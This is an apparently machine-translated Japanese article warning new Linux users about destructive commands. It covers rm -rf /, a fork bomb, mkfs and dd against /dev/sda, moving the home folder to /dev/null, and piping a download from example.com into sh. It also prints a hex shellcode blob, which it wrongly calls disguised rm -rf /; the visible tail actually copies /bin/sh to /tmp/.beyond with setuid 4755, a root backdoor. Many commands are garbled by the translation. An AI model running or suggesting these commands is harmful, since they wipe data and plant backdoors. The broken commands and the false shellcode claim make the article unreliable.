Linux上で実行してはいけない8つの致命的なコマンド
Linuxの端末コマンドは強力で、システムを破壊するようなコマンドを実行してもLinuxは確認を求めません。オンラインのトロールが新しいLinuxユーザに冗談としてこれらのコマンドを実行することを推奨するのは珍しいことではありません。.
実行してはいけないコマンドを習得することで、トロールからユーザーを保護しながら、Linuxの機能についての理解を深めることができます。これは徹底的なガイドではありません、そしてここでのコマンドはさまざまな方法でリミックスすることができます.
これらのコマンドの多くは接頭辞が付いている場合にのみ危険になります。 スード Ubuntuでは - そうでなければ動作しません。他のLinuxディストリビューションでは、ほとんどのコマンドはrootとして実行する必要があります。.
Image Credit:TwitterのJason Fordからスカルとクロスボーンのリミックス
rm -rf / - すべてを削除します!
コマンド rm -rf / ハードドライブ上のファイルや接続されているリムーバブルメディアデバイス上のファイルなど、可能な限りすべてのものを削除します。このコマンドは、細かく分類すればもっとわかりやすくなります。
RM - 次のファイルを削除する.
-rf - rmを再帰的に実行し(指定したフォルダ内のすべてのファイルとフォルダを削除します)、プロンプトを表示せずにすべてのファイルを強制削除します.
/ - リモートファイル共有やリムーバブルドライブなど、コンピュータ上のすべてのファイルとマウントされているすべてのメディアデバイスを含むルートディレクトリから開始するようにrmに指示します。.
Linuxはプロンプトを出さずに喜んでこのコマンドに従い、すべてを削除しますので、使用するときは注意してください。 rmコマンドは他の危険な方法でも使用できます。 - rm -rf〜 ホームフォルダ内のすべてのファイルを削除します rm -rf。* すべての設定ファイルを削除します.
レッスン: rm -rfに注意してください。.
偽装されたrm -rf /
これは、Web上にあるもう1つのコードの断片です。
char esp [] __attribute__((section(“。text”)))/ * e.s.p
リリース* /
=“ \ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68”
“ \ xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99”
“ \ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
“ \ x56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56”
“ \ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31”
“ \ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69”
“ \ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00”
“ cp -p / bin / sh /tmp/.beyond;” chmod 4755
/tmp/.beyond;」;
これはrm -rf /の16進版です。 - このコマンドを実行すると、rm -rf /を実行した場合と同じようにファイルが消去されます。.
レッスン: あなたが理解できない奇妙に見える、明らかに偽装されたコマンドを実行しないでください.
:():|:& ;: - フォーク爆弾
次の行は単純に見えますが、危険なbash関数です。
:():|:& ;:
この短い行は、自分自身の新しいコピーを作成するシェル関数を定義しています。このプロセスは絶えず複製され、そのコピーは絶えず複製され、CPU時間とメモリをすべてすばやく占有します。コンピュータがフリーズする可能性があります。これは基本的にサービス拒否攻撃です.
レッスン: bash関数は非常に短いものでも強力です.
Image Credit:ウィキメディア・コモンズのデイク
mkfs.ext4 / dev / sda1 - ハードドライブをフォーマットします
の mkfs.ext4 / dev / sda1 コマンドは簡単に理解できます。
mkfs.ext4 - 次のデバイス上に新しいext4ファイルシステムを作成します.
/ dev / sda1 - 最初のハードドライブの最初のパーティションを指定します。これはおそらく使用中です。.
まとめると、このコマンドはWindowsでフォーマットc:を実行するのと同じになります。最初のパーティションのファイルを消去し、それらを新しいファイルシステムに置き換えます。.
このコマンドは他の形式でも可能です。 - mkfs.ext3 / dev / sdb2 ext3ファイルシステムで2番目のハードドライブの2番目のパーティションをフォーマットします.
レッスン: / dev / sdで始まるハードディスクデバイスで直接コマンドを実行するように注意してください。.
command> / dev / sda - ハードドライブに直接書き込みます
の コマンド> / dev / sda lineも同様に機能します - コマンドを実行し、そのコマンドの出力を最初のハードドライブに直接送信し、データを直接ハードディスクドライブに書き込み、ファイルシステムに損傷を与えます.
コマンド - コマンドを実行します(どのコマンドでもかまいません)。
> - コマンドの出力を以下の場所に送信します。.
/ dev / sda - コマンドの出力を直接ハードディスク装置に書き込む.
レッスン: 上記のように、/ dev / sdで始まるハードディスクデバイスを含むコマンドの実行に注意してください。.
dd if = / dev / random of = / dev / sda - ジャンクをハードドライブに書き込む
の dd if = / dev / random / = / dev / sda ラインはまたあなたのハードドライブの1つのデータを消去します.
dd - ある場所から別の場所への低レベルのコピーを実行する.
if = / dev / random - 入力として/ dev / random(ランダムデータ)を使用します - / dev / zero(ゼロ)のような場所も表示されるかもしれません。.
of = / dev / sda - 最初のハードディスクに出力し、そのファイルシステムをランダムなゴミデータに置き換えます。.
レッスン: ddはある場所から別の場所にデータをコピーします。直接デバイスにコピーしている場合は危険です。.
Image Credit:FlickrのMatt Rudge
mv〜/ dev / null - ホームディレクトリをブラックホールに移動する
/ dev / nullは別の特別な場所です - 何かを/ dev / nullに移動することはそれを破棄するのと同じことです。 / dev / nullをブラックホールと考えてください。本質的に, mv〜/ dev / null 個人用ファイルをすべてブラックホールに入れます.
mv - 次のファイルまたはディレクトリを別の場所に移動します。.
〜 - ホームフォルダ全体を表します.
/ dev / null - ホームフォルダを/ dev / nullに移動し、すべてのファイルを破棄して元のコピーを削除します。.
レッスン: 〜文字はあなたのホームフォルダを表し、/ dev / nullに移動するとそれらを破壊します。.
wget http://example.com/something -O - | sh - スクリプトをダウンロードして実行する
上記の行はWebからスクリプトをダウンロードしてshに送信し、shはスクリプトの内容を実行します。スクリプトの内容がわからない場合や、そのソースを信頼していない場合、信頼できないスクリプトを実行しないでください。.
wget - ファイルをダウンロードします。 (wgetの代わりにcurlも見られるかもしれません。)
http://example.com/something - この場所からファイルをダウンロードしてください.
| - wgetコマンド(ダウンロードしたファイル)の出力を別のコマンドに直接パイプ(送信)する.
sh - ファイルをshコマンドに送信します。shコマンドがbashスクリプトの場合は実行されます。.
レッスン: コマンドを使用しても、信頼できないスクリプトをWebからダウンロードして実行しないでください。.
新しい(そして経験豊富な)Linuxユーザが実行すべきでない他の危険なコマンドを知っていますか?コメントを残して共有する!